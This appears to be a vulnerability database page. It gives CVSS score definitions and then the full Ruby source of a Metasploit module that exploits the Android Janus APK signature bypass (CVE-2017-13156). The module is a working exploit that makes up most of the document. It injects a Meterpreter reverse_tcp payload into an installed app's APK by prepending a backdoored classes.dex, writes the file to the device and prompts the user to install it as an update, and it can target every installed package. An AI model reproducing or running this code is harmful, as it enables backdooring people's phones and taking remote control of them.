The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
High
AC
The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Android Janus APK Signature bypass
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/payload/apk'
class MetasploitModule < Msf::Exploit::Local
Rank = ManualRanking
include Msf::Exploit::FileDropper
include Msf::Post::File
include Msf::Post::Android::Priv
include Msf::Payload::Android
def initialize(info={})
super( update_info( info, {
'Name' => "Android Janus APK Signature bypass",
'Description' => %q{
This module exploits CVE-2017-13156 in Android to install a payload into another
application. The payload APK will have the same signature and can be installed
as an update, preserving the existing data.
The vulnerability was fixed in the 5th December 2017 security patch, and was
additionally fixed by the APK Signature scheme v2, so only APKs signed with
the v1 scheme are vulnerable.
Payload handler is disabled, and a multi/handler must be started first.
},
'Author' => [
'GuardSquare', # discovery
'V-E-O', # proof of concept
'timwr', # metasploit module
'h00die', # metasploit module
],
'References' => [
[ 'CVE', '2017-13156' ],
[ 'URL', 'https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures' ],
[ 'URL', 'https://github.com/V-E-O/PoC/tree/master/CVE-2017-13156' ],
],
'DisclosureDate' => 'Jul 31 2017',
'SessionTypes' => [ 'meterpreter' ],
'Platform' => [ 'android' ],
'Arch' => [ ARCH_DALVIK ],
'Targets' => [ [ 'Automatic', {} ] ],
'DefaultOptions' => {
'PAYLOAD' => 'android/meterpreter/reverse_tcp',
'AndroidWakelock' => false, # the target may not have the WAKE_LOCK permission
'DisablePayloadHandler' => true,
},
'DefaultTarget' => 0,
'Notes' => {
'SideEffects' => ['ARTIFACTS_ON_DISK', 'SCREEN_EFFECTS'],
'Stability' => ['SERVICE_RESOURCE_LOSS'], # ZTE youtube app won't start anymore
}
}))
register_options([
OptString.new('PACKAGE', [true, 'The package to target, or ALL to attempt all', 'com.phonegap.camerasample']),
])
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
]
end
def check
os = cmd_exec("getprop ro.build.version.release")
unless Gem::Version.new(os).between?(Gem::Version.new('5.1.1'), Gem::Version.new('8.0.0'))
vprint_error "Android version #{os} is not vulnerable."
return CheckCode::Safe
end
vprint_good "Android version #{os} appears to be vulnerable."
patch = cmd_exec('getprop ro.build.version.security_patch')
if patch.empty?
print_status 'Unable to determine patch level. Pre-5.0 this is unaccessible.'
elsif patch > '2017-12-05'
vprint_error "Android security patch level #{patch} is patched."
return CheckCode::Safe
else
vprint_good "Android security patch level #{patch} is vulnerable"
end
CheckCode::Appears
end
def exploit
def infect(apkfile)
unless apkfile.start_with?("package:")
fail_with Failure::BadConfig, 'Unable to locate app apk'
end
apkfile = apkfile[8..-1]
print_status "Downloading APK: #{apkfile}"
apk_data = read_file(apkfile)
begin
# Create an apk with the payload injected
apk_backdoor = ::Msf::Payload::Apk.new
apk_zip = apk_backdoor.backdoor_apk(nil, payload.encoded, false, false, apk_data, false)
# Extract the classes.dex
dex_data = ''
Zip::File.open_buffer(apk_zip) do |zipfile|
dex_data = zipfile.read("classes.dex")
end
dex_size = dex_data.length
# Fix the original APKs zip file code directory
cd_end_addr = apk_data.rindex("\x50\x4b\x05\x06")
cd_start_addr = apk_data[cd_end_addr+16, cd_end_addr+20].unpack("V")[0]
apk_data[cd_end_addr+16...cd_end_addr+20] = [ cd_start_addr+dex_size ].pack("V")
pos = cd_start_addr
while pos && pos < cd_end_addr
offset = apk_data[pos+42, pos+46].unpack("V")[0]
apk_data[pos+42...pos+46] = [ offset+dex_size ].pack("V")
pos = apk_data.index("\x50\x4b\x01\x02", pos+46)
end
# Prepend the new classes.dex to the apk
out_data = dex_data + apk_data
out_data[32...36] = [ out_data.length ].pack("V")
out_data = fix_dex_header(out_data)
out_apk = "/sdcard/#{Rex::Text.rand_text_alphanumeric 6}.apk"
print_status "Uploading APK: #{out_apk}"
write_file(out_apk, out_data)
register_file_for_cleanup(out_apk)
print_status "APK uploaded"
# Prompt the user to update the APK
session.appapi.app_install(out_apk)
print_status "User should now have a prompt to install an updated version of the app"
true
rescue => e
print_error e.to_s
false
end
end
unless [CheckCode::Detected, CheckCode::Appears].include? check
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
if datastore["PACKAGE"] == 'ALL'
vprint_status('Finding installed packages (this can take a few minutes depending on list of installed packages)')
apkfiles = []
all = cmd_exec("pm list packages").split("\n")
c = 1
all.each do |package|
package = package.split(':')[1]
vprint_status("Attempting exploit of apk #{c}/#{all.length} for #{package}")
c += 1
next if ['com.metasploit.stage', # avoid injecting into ourself
].include? package # This was left on purpose to be expanded as need be for testing
result = infect(cmd_exec("pm path #{package}"))
break if result
end
else
infect(cmd_exec("pm path #{datastore["PACKAGE"]}"))
end
end
end
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